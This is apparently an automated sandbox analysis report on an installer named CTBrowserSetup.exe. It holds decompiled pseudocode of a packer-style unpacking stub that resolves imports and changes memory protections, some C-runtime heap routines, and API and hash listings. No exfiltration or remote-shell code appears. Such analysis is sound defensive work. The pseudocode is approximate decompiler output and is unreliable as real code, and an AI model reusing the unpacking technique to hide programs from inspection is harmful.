0x00fbda2c
0x00fbda13
0x00fbda19
0x00fbda20
0x00fbda20
0x00fbda31
0x00fbda37
0x00fbda37
0x00fbda42
0x00fbda48
0x00fbda4a
0x00fbda4a
0x00fbda50
0x00fbda53
0x00fbda57
0x00fbda5d
0x00fbda60
0x00fbda66
0x00fbda66
0x00fbda6f
0x00fbda70
0x00fbda71
0x00fbda71
0x00fbda76
0x00fbda78
0x00fbda79
0x00fbda7d
0x00fbda7d
0x00fbda7f
0x00fbda7f
0x00a7081b
0x00a7081b
0x00a7069f
0x00a706a6
0x00a706ad
0x00a706b2
0x00a706b3
0x00a706b5
0x00000000
0x00000000
0x00a706bb
0x00a706bd
0x00a706c0
0x00a706c9
0x00a706cc
0x00a706d3
0x00a706d4
0x00a706d6
0x00000000
0x00000000
0x00a706dc
0x00a706de
0x00a70729
0x00a7072b
0x00a7072e
0x00a70731
0x00a70736
0x00a7073c
0x00a7073e
0x00a70740
0x00a70742
0x00a70745
0x00a7074a
0x00a7074b
0x00a7074d
0x00a7074f
0x00a70755
0x00a70757
0x00a7075d
0x00a7075d
0x00a7074d
0x00a70764
0x00a70766
0x00a70768
0x00a7076b
0x00a70770
0x00a70771
0x00a70773
0x00a70775
0x00a70777
0x00a7077c
0x00a7077c
0x00a70773
0x00a7077d
0x00a70785
0x00a7078a
0x00a7078b
0x00a7078c
0x00a70797
0x00a70799
0x00a7079e
0x00a707a0
0x00a7080c
0x00a7080d
0x00a70815
0x00a7081a
0x00000000
0x00a707a2
0x00a707a2
0x00a707a4
0x00a707a6
0x00a707a6
0x00a707ae
0x00a707b5
0x00a707bc
0x00a707f5
0x00a707f8
0x00a70804
0x00a70804
0x00a707a0
0x00a706e0
0x00a706f0
0x00a706f7
0x00a706f9
0x00a70716
0x00a7071d
0x00000000
0x00a706fb
0x00a706fb
0x00a70702
0x00000000
0x00a70702
0x00a70805
0x00a70807
0x00000000
0x00a70807
0x00a7081b
0x00fbd992
0x00fbd917
0x00000000
0x00fbd917
0x00fbd8db
0x00fbd8dd
0x00fbd8e0
0x00fbd8e2
0x00000000
0x00000000
0x00fbd8e4
0x00fbd8e4
0x00fbd8e5
0x00fbd8e7
0x00fbd8e9
0x00fbd8eb
0x00fbd8ee
0x00fbd8ee
0x00fbd8f0
0x00fbd8c8
0x00fbd8ca
0x00fbd8cc
0x00fbd8ce
0x00fbd8d1
0x00fbd8d1
0x00fbd8d3
0x00fbd8d5
0x00fbd8d5
0x00fbd8d7
0x00000000
0x00000000
0x00fbd8d7
0x00fbd8b6
0x00fbd8b6
0x00fbd8b6
0x00fbd8b6
0x00fbd8c1

APIs

LoadLibraryA.KERNEL32(8BD23300), ref: 00FBD9CB
GetProcAddress.KERNELBASE(?,00F92FF9), ref: 00FBD9E9
ExitProcess.KERNEL32(?,00F92FF9), ref: 00FBD9FA
VirtualProtect.KERNELBASE(00640000,00001000,00000004,?,00000000), ref: 00FBDA48
VirtualProtect.KERNELBASE(00640000,00001000), ref: 00FBDA5D

Memory Dump Source

Source File: 0000001F.00000002.1665548935.0000000000FB0000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 0000001F.00000002.1665495627.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001F.00000002.1665548935.0000000000641000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001F.00000002.1665548935.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001F.00000002.1665548935.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001F.00000002.1665548935.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001F.00000002.1665548935.0000000000F3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001F.00000002.1665548935.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001F.00000002.1675440179.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: e0c9dfefdb9b4a8110ce1649ef102f07a53f70ef4dabad3eeb455e5bd522727a
Instruction ID: 54a140a1f8313e8d65a71da42cefe45ed7ff724456091607bfdb8d910390d6fe
Opcode Fuzzy Hash: e0c9dfefdb9b4a8110ce1649ef102f07a53f70ef4dabad3eeb455e5bd522727a
Instruction Fuzzy Hash: 6E512472A057525BD7209E79CCC07E57794EB023347280738D9E6C73C6F7A49809AFA2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CTBrowserSetup.exePID: 10752, Parent PID: 10576COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	663
Total number of Limit Nodes:	5

Executed Functions

Function 00FBD8A0 Relevance: 7.7, APIs: 5, Instructions: 211
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			_entry_(void* __eflags) {
				char _t33;
				void* _t34;
				CHAR* _t35;
				char _t36;
				char _t37;
				signed int _t39;
				signed int _t40;
				CHAR* _t43;
				signed char* _t48;
				long _t49;
				void* _t54;
				CHAR* _t57;
				CHAR* _t62;
				signed short _t66;
				void* _t67;
				CHAR* _t69;
				char* _t71;
				CHAR* _t73;
				CHAR* _t75;
				CHAR* _t78;
				CHAR* _t95;
				char _t103;
				char _t104;
				char _t105;
				char _t106;
				intOrPtr* _t107;
				CHAR** _t112;
				CHAR* _t113;
				void* _t115;
				CHAR* _t128;
				CHAR* _t129;
				char* _t130;
				CHAR* _t131;
				char* _t132;
				void* _t133;
				CHAR* _t136;
				CHAR* _t138;
				char* _t139;
				CHAR** _t140;
				intOrPtr* _t141;
				CHAR* _t144;
				struct HINSTANCE__* _t145;
				intOrPtr _t146;
				DWORD* _t148;
				void* _t151;
				char _t153;

				_t151 = __eflags;
				asm("pushad");
				_t138 = 0xd0b000;
				_t1 = _t138 - 0x6ca000; // 0x641000
				_t129 = _t1;
				_push(_t129);
				while(1) {
					_t103 =  *_t138;
					_t138 = _t138 - 0xfffffffc;
					asm("adc ebx, ebx");
					do {
						if(_t151 < 0) {
							_t33 =  *_t138;
							_t138 =  &(_t138[1]);
							 *_t129 = _t33;
							_t129 =  &(_t129[1]);
							__eflags = _t129;
							goto L23;
						}
						_t34 = 1;
						while(1) {
							_t104 = _t103 + _t103;
							if(_t104 == 0) {
								_t104 =  *_t138;
								_t138 = _t138 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t105 = _t104 + _t104;
							_t153 = _t105;
							if(_t153 >= 0) {
								goto L32;
							}
							L30:
							if(_t153 != 0) {
								L38:
								_t113 = 0;
								_t35 = _t34 - 3;
								__eflags = _t35;
								if(_t35 < 0) {
									_t105 = _t105 + _t105;
									__eflags = _t105;
									if(__eflags == 0) {
										_t105 =  *_t138;
										_t138 = _t138 - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									L43:
									if(__eflags < 0) {
										L35:
										_t103 = _t105 + _t105;
										__eflags = _t103;
										if(_t103 == 0) {
											_t103 =  *_t138;
											_t138 = _t138 - 0xfffffffc;
											asm("adc ebx, ebx");
										}
										asm("adc ecx, ecx");
										L53:
										__eflags = _t145 - 0xfffffb00;
										asm("adc ecx, 0x2");
										_t128 =  &(_t129[_t145]);
										__eflags = _t145 - 0xfffffffc;
										if(_t145 <= 0xfffffffc) {
											do {
												_t36 =  *_t128;
												_t128 =  &(_t128[4]);
												 *_t129 = _t36;
												_t129 =  &(_t129[4]);
												_t113 = _t113 - 4;
												__eflags = _t113;
											} while (_t113 > 0);
											_t129 =  &(_t129[_t113]);
											break;
										} else {
											goto L54;
										}
										do {
											L54:
											_t37 =  *_t128;
											_t128 =  &(_t128[1]);
											 *_t129 = _t37;
											_t129 =  &(_t129[1]);
											_t113 = _t113 - 1;
											__eflags = _t113;
										} while (_t113 != 0);
										break;
									}
									_t113 =  &(_t113[1]);
									_t105 = _t105 + _t105;
									__eflags = _t105;
									if(__eflags == 0) {
										_t105 =  *_t138;
										_t138 = _t138 - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									if(__eflags < 0) {
										goto L35;
									} else {
										goto L47;
										do {
											do {
												L47:
												_t106 = _t105 + _t105;
												__eflags = _t106;
												if(_t106 == 0) {
													_t106 =  *_t138;
													_t138 = _t138 - 0xfffffffc;
													asm("adc ebx, ebx");
												}
												asm("adc ecx, ecx");
												_t105 = _t106 + _t106;
												__eflags = _t105;
											} while (__eflags >= 0);
											if(__eflags != 0) {
												break;
											}
											_t105 =  *_t138;
											_t138 = _t138 - 0xfffffffc;
											__eflags = _t138;
											asm("adc ebx, ebx");
										} while (_t138 >= 0);
										_t113 =  &(_t113[2]);
										__eflags = _t113;
										goto L53;
									}
								}
								_t39 =  *_t138;
								_t138 =  &(_t138[1]);
								_t40 = _t39 ^ 0xffffffff;
								__eflags = _t40;
								if(__eflags == 0) {
									_pop(_t139);
									_t130 = _t139;
									while(1) {
										L59:
										while(1) {
											asm("repne scasb");
											if(__eflags != 0) {
												break;
											}
											__eflags =  *_t130 - 0x8e;
											if(__eflags != 0) {
												continue;
											}
											asm("rol eax, 0x10");
											asm("stosd");
											goto L59;
										}
										_t14 = _t139 + 0x952000; // 0xf93000
										_t131 = _t14;
										while(1) {
											L64:
											_t43 =  *_t131;
											__eflags = _t43;
											if(_t43 == 0) {
												break;
											}
											_t15 =  &(_t131[4]); // 0x4b413c
											_t17 = _t139 + 0x98579c; // 0x8bd23300
											_t112 =  *_t15 + _t139;
											_t136 =  &(_t131[8]);
											__eflags = _t136;
											_t145 = LoadLibraryA( &(_t43[_t17]));
											while(1) {
												_t131 =  &(_t136[1]);
												__eflags =  *_t136;
												if(__eflags == 0) {
													goto L64;
												}
												if(__eflags < 0) {
													_push( *_t131 & 0x0000ffff);
													_t131 =  &(_t131[2]);
													__eflags = _t131;
												}
												asm("repne scasb");
												_t95 = GetProcAddress(_t145, _t131);
												__eflags = _t95;
												if(_t95 == 0) {
													ExitProcess();
												} else {
													 *_t112 = _t95;
													_t112 =  &(_t112[1]);
													continue;
												}
											}
										}
										_t132 =  &(_t131[4]);
										__eflags = _t132;
										_t22 = _t139 - 4; // 0x640ffc
										_t107 = _t22;
										while(1) {
											_t132 =  &(_t132[1]);
											_t46 = 0;
											__eflags = 0;
											if(0 == 0) {
												break;
											}
											__eflags = 0 - 0xef;
											if(0 > 0xef) {
												_t46 =  *_t132;
												_t132 =  &(_t132[2]);
											}
											_t107 = _t107 + _t46;
											asm("rol eax, 0x10");
											 *_t107 =  *_t107 + _t139;
										}
										_t146 =  *((intOrPtr*)(_t139 + 0x9859e4));
										_t26 = _t139 - 0x1000; // 0x640000
										_t133 = _t26;
										_push(0);
										VirtualProtect(_t133, 0x1000, 4, _t148);
										_t27 = _t133 + 0x23f; // 0x64023f
										_t48 = _t27;
										 *_t48 =  *_t48 & 0x0000007f;
										_t48[0x28] = _t48[0x28] & 0x0000007f;
										_pop(_t49);
										VirtualProtect(_t133, 0x1000, _t49, _t148); // executed
										_t30 = _t139 - 0x1000; // 0x640000
										_t31 = _t30 + 0x97da8c; // 0xfbda8c
										_t134 = _t31;
										asm("stosb");
										_t115 = _t31;
										_t116 = _t115 - 1;
										__eflags = _t116;
										 *_t116(_t30, 1, 0, _t49);
										asm("popad");
										_t54 = _t148 - 0x80;
										do {
											_push(0);
											__eflags = _t148 - _t54;
										} while (_t148 != _t54);
										while(1) {
											L00A71AA4();
											_push(0x14);
											E00A70BE0(_t109, _t134, _t139);
											_t57 = L00A702E7(_t116, _t128, 1);
											_t116 = 0xc76d08;
											__eflags = _t57;
											if(_t57 == 0) {
												goto L19;
											}
											_t109 = 0;
											 *((char*)(_t146 - 0x19)) = 0;
											 *(_t146 - 4) =  *(_t146 - 4) & 0x00000000;
											 *((char*)(_t146 - 0x24)) = L00A702B5();
											_t62 =  *0xca878c;
											_t116 = 1;
											__eflags = _t62 - 1;
											if(_t62 == 1) {
												goto L19;
											}
											__eflags = _t62;
											if(_t62 != 0) {
												_t109 = 1;
												 *((char*)(_t146 - 0x19)) = 1;
												L8:
												L00A7043B( *((intOrPtr*)(_t146 - 0x24)));
												_pop(_t116);
												_t140 = L00A71B3F();
												_t134 = 0;
												__eflags =  *_t140;
												if(__eflags != 0) {
													_t75 = L00A703A7(_t109, 0, _t140, __eflags);
													_t116 = _t140;
													__eflags = _t75;
													if(_t75 != 0) {
														_t144 =  *_t140;
														_t116 = _t144;
														 *0xaf5a44(0, 2, 0);
														 *_t144();
													}
												}
												_t141 = L00A71B45();
												__eflags =  *_t141 - _t134;
												if(__eflags != 0) {
													_t73 = L00A703A7(_t109, _t134, _t141, __eflags);
													_t116 = _t141;
													__eflags = _t73;
													if(_t73 != 0) {
														_push( *_t141);
														L00A845A5(_t109, _t128, _t134, _t141);
														_pop(_t116);
													}
												}
												_t66 = L00A71968();
												_t67 = L00A93236();
												_push(_t66 & 0x0000ffff);
												_push(_t67);
												_push(_t134);
												_t139 = L00A1A792(0x640000);
												_t69 = E00A7199E();
												__eflags = _t69;
												if(_t69 == 0) {
													L20:
													L00A845CB(_t139);
													E00A8458F( *((intOrPtr*)(_t146 - 0x20)));
													asm("int3");
													continue;
												} else {
													__eflags = _t109;
													if(_t109 == 0) {
														L00A84580();
													}
													L00A70458(_t116, 1, _t134);
													 *(_t146 - 4) = 0xfffffffe;
													_t71 = _t139;
													L18:
													 *[fs:0x0] =  *((intOrPtr*)(_t146 - 0x10));
													return _t71;
												}
											}
											 *0xca878c = 1;
											_t78 = L00A932AB(0xaf5d44, 0xaf5d6c);
											__eflags = _t78;
											if(_t78 == 0) {
												E00A93280(0xaf5a48, 0xaf5d30);
												 *0xca878c = 2;
												goto L8;
											} else {
												 *(_t146 - 4) = 0xfffffffe;
												_t71 = 0xff;
												goto L18;
											}
											L19:
											L00A7184D(_t128, _t134, _t139, 7);
											goto L20;
										}
									}
								}
								_t145 = _t40 >> 1;
								goto L43;
							}
							_t105 =  *_t138;
							_t138 = _t138 - 0xfffffffc;
							asm("adc ebx, ebx");
							if(_t138 < 0) {
								goto L38;
							}
							L32:
							_t34 = _t34 - 1;
							_t103 = _t105 + _t105;
							if(_t103 == 0) {
								_t103 =  *_t138;
								_t138 = _t138 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t104 = _t103 + _t103;
							if(_t104 == 0) {
								_t104 =  *_t138;
								_t138 = _t138 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t105 = _t104 + _t104;
							_t153 = _t105;
							if(_t153 >= 0) {
								goto L32;
							}
						}
						L23:
						_t103 = _t103 + _t103;
						__eflags = _t103;
					} while (_t103 != 0);
				}
			}

APIs

LoadLibraryA.KERNEL32(8BD23300), ref: 00FBD9CB
GetProcAddress.KERNELBASE(?,00F92FF9), ref: 00FBD9E9
ExitProcess.KERNEL32(?,00F92FF9), ref: 00FBD9FA
VirtualProtect.KERNELBASE(00640000,00001000,00000004,?,00000000), ref: 00FBDA48
VirtualProtect.KERNELBASE(00640000,00001000), ref: 00FBDA5D

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: e0c9dfefdb9b4a8110ce1649ef102f07a53f70ef4dabad3eeb455e5bd522727a
Instruction ID: 54a140a1f8313e8d65a71da42cefe45ed7ff724456091607bfdb8d910390d6fe
Opcode Fuzzy Hash: e0c9dfefdb9b4a8110ce1649ef102f07a53f70ef4dabad3eeb455e5bd522727a
Instruction Fuzzy Hash: 6E512472A057525BD7209E79CCC07E57794EB023347280738D9E6C73C6F7A49809AFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A958B5 Relevance: 2.6, APIs: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00A958B5(void* __ecx, void* __edx, signed int __esi) {
				void* __ebx;
				void* __edi;
				intOrPtr _t4;
				signed int _t5;
				signed int _t6;
				signed int _t7;
				intOrPtr _t11;
				signed int _t12;
				intOrPtr _t15;
				signed int _t16;
				signed int _t18;
				signed int _t25;
				signed int _t39;
				signed int _t41;
				signed int _t42;
				void* _t49;
				void* _t56;
				long _t58;
				long _t59;
				signed int _t62;
				signed int _t63;
				signed int _t64;
				void* _t67;

				_t62 = __esi;
				_t56 = __edx;
				_t49 = __ecx;
				_t58 = GetLastError();
				_t4 =  *0xc7c504; // 0x7
				_t70 = _t4 - 0xffffffff;
				if(_t4 == 0xffffffff) {
					L4:
					_t5 = E00A97B96(__eflags, _t4, 0xffffffff);
					__eflags = _t5;
					if(_t5 != 0) {
						_t6 = E00A97608(1, 0x364); // executed
						_t63 = _t6;
						_t49 = _t62;
						__eflags = _t63;
						if(__eflags != 0) {
							_t7 = E00A97B96(__eflags,  *0xc7c504, _t63);
							__eflags = _t7;
							if(_t7 != 0) {
								E00A956E3(_t63, 0xca8fb0);
								E00A95BA0(0);
								_t67 = _t67 + 0xc;
								_t41 = _t63;
							} else {
								_t41 = 0;
								__eflags = 0;
								E00A97B96(0,  *0xc7c504, 0);
								_push(_t63);
								goto L10;
							}
						} else {
							_t41 = 0;
							E00A97B96(__eflags,  *0xc7c504, 0);
							_push(0);
							L10:
							E00A95BA0();
							_pop(_t49);
						}
						_pop(_t62);
					} else {
						_t41 = 0;
					}
				} else {
					_t39 = E00A97B57(_t70, _t4);
					if(_t39 == 0) {
						_t4 =  *0xc7c504; // 0x7
						goto L4;
					} else {
						_t1 = _t39 + 1; // 0x1
						asm("sbb ebx, ebx");
						_t41 =  ~_t1 & _t39;
					}
				}
				SetLastError(_t58);
				if(_t41 == 0) {
					E00A8241A(_t41, _t49, _t56, _t58, _t62);
					asm("int3");
					_t11 =  *0xc7c504; // 0x7
					_push(_t62);
					__eflags = _t11 - 0xffffffff;
					if(__eflags == 0) {
						L21:
						_t12 = E00A97B96(__eflags, _t11, 0xffffffff);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L29;
						} else {
							_t62 = E00A97608(1, 0x364);
							__eflags = _t62;
							if(__eflags != 0) {
								__eflags = E00A97B96(__eflags,  *0xc7c504, _t62);
								if(__eflags != 0) {
									E00A956E3(_t62, 0xca8fb0);
									E00A95BA0(0);
									goto L28;
								} else {
									E00A97B96(__eflags,  *0xc7c504, _t27);
									_push(_t62);
									goto L24;
								}
							} else {
								E00A97B96(__eflags,  *0xc7c504, _t26);
								_push(_t62);
								L24:
								E00A95BA0();
								_pop(_t49);
								goto L29;
							}
						}
					} else {
						_t62 = E00A97B57(__eflags, _t11);
						__eflags = _t62;
						if(__eflags == 0) {
							_t11 =  *0xc7c504; // 0x7
							goto L21;
						} else {
							__eflags = _t62 - 0xffffffff;
							if(_t62 == 0xffffffff) {
								L29:
								E00A8241A(_t41, _t49, _t56, _t58, _t62);
								asm("int3");
								_push(_t41);
								_push(_t58);
								_t59 = GetLastError();
								_t15 =  *0xc7c504; // 0x7
								__eflags = _t15 - 0xffffffff;
								if(__eflags == 0) {
									L34:
									_t16 = E00A97B96(__eflags, _t15, 0xffffffff);
									__eflags = _t16;
									if(_t16 != 0) {
										_push(_t62);
										_t64 = E00A97608(1, 0x364);
										__eflags = _t64;
										if(__eflags != 0) {
											_t18 = E00A97B96(__eflags,  *0xc7c504, _t64);
											__eflags = _t18;
											if(_t18 != 0) {
												E00A956E3(_t64, 0xca8fb0);
												E00A95BA0(0);
												_t42 = _t64;
											} else {
												_t42 = 0;
												__eflags = 0;
												E00A97B96(0,  *0xc7c504, 0);
												_push(_t64);
												goto L40;
											}
										} else {
											_t42 = 0;
											E00A97B96(__eflags,  *0xc7c504, 0);
											_push(0);
											L40:
											E00A95BA0();
										}
									} else {
										_t42 = 0;
									}
								} else {
									_t25 = E00A97B57(__eflags, _t15);
									__eflags = _t25;
									if(__eflags == 0) {
										_t15 =  *0xc7c504; // 0x7
										goto L34;
									} else {
										_t2 = _t25 + 1; // 0x1
										asm("sbb ebx, ebx");
										_t42 =  ~_t2 & _t25;
									}
								}
								SetLastError(_t59);
								return _t42;
							} else {
								L28:
								return _t62;
							}
						}
					}
				} else {
					return _t41;
				}
			}

0x00a958b5
0x00a958b5
0x00a958b5
0x00a958bf
0x00a958c1
0x00a958c6
0x00a958c9
0x00a958e5
0x00a958e8
0x00a958ed
0x00a958ef
0x00a958fd
0x00a95902
0x00a95905
0x00a95906
0x00a95908
0x00a95922
0x00a95927
0x00a95929
0x00a95948
0x00a9594f
0x00a95954
0x00a95957
0x00a9592b
0x00a9592b
0x00a9592b
0x00a95934
0x00a95939
0x00000000
0x00a95939
0x00a9590a
0x00a9590a
0x00a95913
0x00a95918
0x00a9593a
0x00a9593a
0x00a9593f
0x00a9593f
0x00a95959
0x00a958f1
0x00a958f1
0x00a958f1
0x00a958cb
0x00a958cc
0x00a958d3
0x00a958e0
0x00000000
0x00a958d5
0x00a958d5
0x00a958da
0x00a958dc
0x00a958dc
0x00a958d3
0x00a9595b
0x00a95963
0x00a9596a
0x00a9596f
0x00a95970
0x00a95975
0x00a95976
0x00a95979
0x00a95993
0x00a95996
0x00a9599b
0x00a9599d
0x00000000
0x00a9599f
0x00a959ab
0x00a959af
0x00a959b1
0x00a959d4
0x00a959d6
0x00a959ed
0x00a959f4
0x00000000
0x00a959d8
0x00a959df
0x00a959e4
0x00000000
0x00a959e4
0x00a959b3
0x00a959ba
0x00a959bf
0x00a959c0
0x00a959c0
0x00a959c5
0x00000000
0x00a959c5
0x00a959b1
0x00a9597b
0x00a95981
0x00a95983
0x00a95985
0x00a9598e
0x00000000
0x00a95987
0x00a95987
0x00a9598a
0x00a95a00
0x00a95a00
0x00a95a05
0x00a95a08
0x00a95a09
0x00a95a10
0x00a95a12
0x00a95a17
0x00a95a1a
0x00a95a36
0x00a95a39
0x00a95a3e
0x00a95a40
0x00a95a46
0x00a95a53
0x00a95a57
0x00a95a59
0x00a95a73
0x00a95a78
0x00a95a7a
0x00a95a99
0x00a95aa0
0x00a95aa8
0x00a95a7c
0x00a95a7c
0x00a95a7c
0x00a95a85
0x00a95a8a
0x00000000
0x00a95a8a
0x00a95a5b
0x00a95a5b
0x00a95a64
0x00a95a69
0x00a95a8b
0x00a95a8b
0x00a95a90
0x00a95a42
0x00a95a42
0x00a95a42
0x00a95a1c
0x00a95a1d
0x00a95a22
0x00a95a24
0x00a95a31
0x00000000
0x00a95a26
0x00a95a26
0x00a95a2b
0x00a95a2d
0x00a95a2d
0x00a95a24
0x00a95aac
0x00a95ab6
0x00a9598c
0x00a959fc
0x00a959ff
0x00a959ff
0x00a9598a
0x00a95985
0x00a95965
0x00a95969
0x00a95969

APIs

GetLastError.KERNEL32(?,?,00A820E0,00C77060,0000000C), ref: 00A958B9
SetLastError.KERNEL32(00000000), ref: 00A9595B

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: df31ef93394168694b97a3ff3cda473e3b8312c66df539cf17cc112686f00778
Instruction ID: 297e4c9a8d23b176597229f72db825b1591eb8d2b55d41927b8ac160d394a9cc
Opcode Fuzzy Hash: df31ef93394168694b97a3ff3cda473e3b8312c66df539cf17cc112686f00778
Instruction Fuzzy Hash: 28110232F08A12EFEF526BB59EC7F2E26D99B407B9B100134F61A92091EB518C45A360

Uniqueness

Uniqueness Score: -1.00%

Function 00A97608 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00A97608(signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0xca92b0, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E00A94B38();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E00A83A12())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E00A92364(__eflags, _t19);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x00a9760e
0x00a97613
0x00a97621
0x00a97621
0x00a97627
0x00a97629
0x00a97629
0x00a97640
0x00a97649
0x00a97651
0x00000000
0x00000000
0x00a97631
0x00a97633
0x00a97655
0x00a9765a
0x00a97660
0x00000000
0x00a97660
0x00a97636
0x00a9763c
0x00a9763e
0x00000000
0x00000000
0x00a9763e
0x00000000
0x00a97640
0x00a97619
0x00a9761f
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?), ref: 00A97649

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4435de929c56916185212b5b54f44f0f2edae63a6271c4f74bcd216f512430e1
Instruction ID: bdf72c18936637ccd4196fb8599bf00e6555c84306f73f8a9ba6a5711946f002
Opcode Fuzzy Hash: 4435de929c56916185212b5b54f44f0f2edae63a6271c4f74bcd216f512430e1
Instruction Fuzzy Hash: B4F0B432728D306ADF255B7E9C09B6E77DDEB41760B158115AA04EA181DA30DC00D6B0

Uniqueness

Uniqueness Score: -1.00%

Function 00A95BDA Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00A95BDA(long _a4) {
				void* _t4;
				void* _t6;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E00A83A12())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0xca92b0, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E00A94B38();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E00A92364(__eflags, _t8);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x00a95be0
0x00a95be6
0x00a95c18
0x00a95c1d
0x00a95c23
0x00000000
0x00a95c23
0x00a95bea
0x00a95bec
0x00a95bec
0x00a95c03
0x00a95c0c
